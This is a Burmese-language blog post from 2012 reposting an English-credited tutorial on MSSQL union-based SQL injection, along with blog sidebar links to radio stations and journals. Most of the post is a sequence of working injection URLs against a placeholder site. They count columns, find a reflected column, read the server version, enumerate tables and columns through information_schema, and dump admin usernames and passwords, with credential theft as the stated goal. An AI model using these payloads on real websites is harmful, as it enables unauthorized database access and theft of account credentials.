~~~ရႊင္လန္းခ်မ္းေျမ့ၾကပါေစ~~~ITmanHOME , (。◕‿◕。) ❤ (◡‿◡✿)Welcome from ITmanHome. Glad to see U (。◕‿◕。) ❤ (◡‿◡✿),ITmanHOME ~~~ရႊင္လန္းခ်မ္းေျမ့ၾကပါေစ~~~

Wednesday 25 July 2012

MSSQL Injection

What is MSSQL?

အိုေခ ဒါဆို Attack လုပ္ပံုစလိုက္ၾကရေအာင္ ..ေရွ႕က Union Select Injection ကို ေရးျပီးသားျဖစ္လို႕ အရမ္းအေသးစိတ္ေတာ့ မရွင္းျပေတာ့ပါဘူး ။ ေရွ႕ ကဟာနားလည္ရင္ ဒီ တစ္ပုဒ္က အခက္အခဲေတာ ့ သိပ္ၾကီးမွာမဟုတ္ပါဘူး ။
1.Finding Vulnerability
2.Findng Number of Columns
3.Finding Vulnearble Column
4.Finding MySQL Version
5.Finding Tables in Database
6.Finding Columns
7.Displaying content
8.Cracking the hash
9.Finding Admin Page

1.Finding Vulnerabiltiy
www.site.com ဆိုပါစို႕
www.site.com/index.asp?id=1 ေပါ့ :-D
www.site.com/indexp.asp?id=’1 ဆိုရင္
Microsoft OLE DB Provider for ODBC Drivers error ’80040e14′
[Microsoft][ODBC Microsoft Access Driver] Syntax error in string in query expression ‘department_id=1024”.
/deptdet.asp, line 122
လို Error တက္လာပါလိမ့္မယ္ ။

2.Finding Number of Columns
ပံုမွန္အတိုင္းပဲ Column အေရအတြက္ ရွာပါမယ္ ။
www.site.com/index.asp?id=1 order by 1–
ဆိုျပီးေပါ့ ။
[error] Microsoft SQL Native Client error ’80040e14′
The ORDER BY position number 5 is out of range of the number of items in the select list.
/showthread.asp, line 9
[/error]
ဒီလို Error မတက္မခ်င္းပါ
www.site.com/index.asp?id=1 order by 11–
မွာ Error တက္တယ္ဆိုပါစို႕ 11 မဟုတ္တဲ့သာမန္ 1,2,3 ထဲမွာ တက္မွာမဟုတ္ပါဘူး ဒါဆို 11 ခုေပါ့ ။

3.Finding the vulneable column
www.site.com/index.asp?id=1 and 1=2 union select 11,22,33,44– ေပါ့
1=2 ဆိုတာ False ျဖစ္ျပီး Error ေပၚေအာင္ ထည့္တဲ့သေဘာပါ id=-1 ဆိုရင္လည္းရပါတယ္ ။ တျခား သေဘာတရားတစ္ခုကို ေျပာျပတဲ့အေနနဲ႕ အသစ္ေျပာင္းေပးတာပါ။
Mysql တုန္းကလိုပဲ Vuln ျဖစ္တဲ့ Column ေပၚပါ့မယ္ ။ 44 ဆိုပါစို႕
ဒါဆို 44 မွာ Mysql Command Execute လုပ္ႏုိင္ပါတယ္ ။

4.Finding MySQL Version
ေရွ႕ကလိုပါပဲ 44 မွာ @@version ဆိုတဲ့ COmmand ကို execute လုပ္ပါ့မယ္
www.site.com/index.asp?id=1 and 1=2 union select 11,22,33,@@version–
Version တက္မယ္ေပါ့ ။

5.Finding the Table Name
Myssql မွာ table_name from information_schema.tables– သံုးပါ့မယ္
www.site.com/index.asp?id=1 and 1=2 UNION SELECT 11,22,33,table_name from information_schema.tables– ေပါ့
ဒါဆို table name တစ္ခု တတ္လာပါလိမ့္မယ့္ ။
vuln ဆိုပါစို႕
ဒါေပမယ့္ ကၽြန္ေတာ္တုိ႕လိုခ်င္တဲ့ User တို႕ Admin တို႕လို Table မ်ိဳးမဟုတ္ပါဘူး ဒီေတာ့ ထပ္ျပီး Try ပါ့မယ္
www.site.com/index.asp?id=1 and 1=2 UNION SELECT 11,22,33,table_name from information_schema.tables where table_name not in (‘vuln’)–
သေဘာကေတာ့ vuln မဟုတ္တဲ့ တျခား Table ေပါ့ ဒါဆို usr လိုဟာမ်ိဳးတက္လာျပီဆုိပါစို႕

6.Finding Column Name
usr Table တက္လာျပီဆိုတဲ့ အဲ့ဒီ့ Table ထဲကေန Column ထုတ္ပါ့မယ္ ။
www.site.com/index.asp?id=1 and 1=2 UNION SELECT 11,22,33,column_name from information_schema.columns where table_name=’usr’–
usr ထဲက Column တက္လာပါ့မယ္ Admin ဆိုပါစို႕
တျခား Admin မဟုတ္တဲ့ Password လို Column မ်ိဳးအလိုရွိေသးတဲ့အတြက္ အေပၚ က Table ခြဲတံုးကလိုပဲ ထပ္ Inject လုပ္ပါ့မယ္ ။
www.site.com/index.asp?id=1 and and 1=2 UNION SELECT 11,22,33,column_name from information_schema.columns where table_name=’usr’ and
column_name not in (‘Admin’)–
ဒီတေခါက္ Password ဆိုတဲ့ Column တက္လာျပီဆုိရင္ ကၽြန္ေတာ္တို႕ Data Inject လုပ္ဖို႕ပဲလိုပါေတာ့တယ္ ။

7.Displaying Content
ခုနက ကၽြန္ေတာ္တို႕မွာ Admin နဲ႕ Password ဆိုတဲ့ Column ႏွစ္ခုရထားပါျပီ ဒါဆုိ ဆက္ပါ့မယ္..
www.site.com/index.asp?id=1 and 1=2 UNION SELECT 11,22,33,Admin from usr–
www.site.com/index.asp?id=1 and 1=2 UNION SELECT 11,22,33,Password from usr–
ဒါဆို Admin နဲ႕ Password တက္လာပါျပီ :-D
က်န္တဲ့ႏွစ္ဆင့္ကေတာ့ အမ်ားၾကီးဆက္ေျပာစရာမလိုေတာ့ မေျပာေတာ့ပါဘူး


Credit : Cyb3R_ShubhaM aKa L0c4lr00T

2 comments:

Post a Comment

Related Posts Plugin for WordPress, Blogger...
လိႈက္လွဲစြာၾကိဳဆိုပါ၏

We r Watching U

.

Photobucket
~ Online အသုံးျပဴ႕သူမ်ား လိုအပ္မည့္အရာမ်ား ရွာေဖြရသမွ်ကို ~
~ဘေလာ့တြင္ ကူးယူေဖာ္ျပပါသည္ Credit မေပးမိသည့္ Post ကို ၾကိဳတင္ေတာင္းပန္ပါတယ္~
~မိတ္ေဆြတို႕အတြက္ အသုံးဝင္ခဲ့တယ္ဆို~
~တျခား သူငယ္ခ်င္းေတြလည္း သိေအာင္ Share ေပးျခင္းျဖင့္ ကူညီပါ (:~
cooltext739080768
ေအာက္ပါလင့္တြင္ အပတ္စဥ္ထုတ္ ျမန္မာဂ်ာနယ္မ်ား၏
Download လင္႔မ်ားကို တစုတစည္းထဲ တေနရာထဲမွာ အလြယ္တကူ
Download လုပ္ႏိုင္ေအာင္ စုစည္းေပးထားပါတယ္။
Credit MJD Team

Weekly All Myanmar Journal Free Download

ျမန္မာႏုိင္ငံမွ လူၾကဳိက္အမ်ားဆံုး ၀ဘ္ဆုိက္မ်ား

Oxford English to Eng dictionary

.

Online Radio Collection

~ၾကိဳဆိုပါ၏~
~~~ရႊင္လန္းခ်မ္းေျမ့ၾကပါေစ~~~

MYMC Radio

~~~ရႊင္လန္းခ်မ္းေျမ့ၾကပါေစ~~~

အျဖဴေရာင္သံစဥ္ ေရဒီယို

~~~ရႊင္လန္းခ်မ္းေျမ့ၾကပါေစ~~~

IT Palace Radio

~~~ရႊင္လန္းခ်မ္းေျမ့ၾကပါေစ~~~

အိမ္မက္လႈိင္း ေရဒီယို

~~~ရႊင္လန္းခ်မ္းေျမ့ၾကပါေစ~~~

95.1 Street FM

Online Radio Collection
~ၾကိဳဆိုပါ၏~

........................Popular Posts......................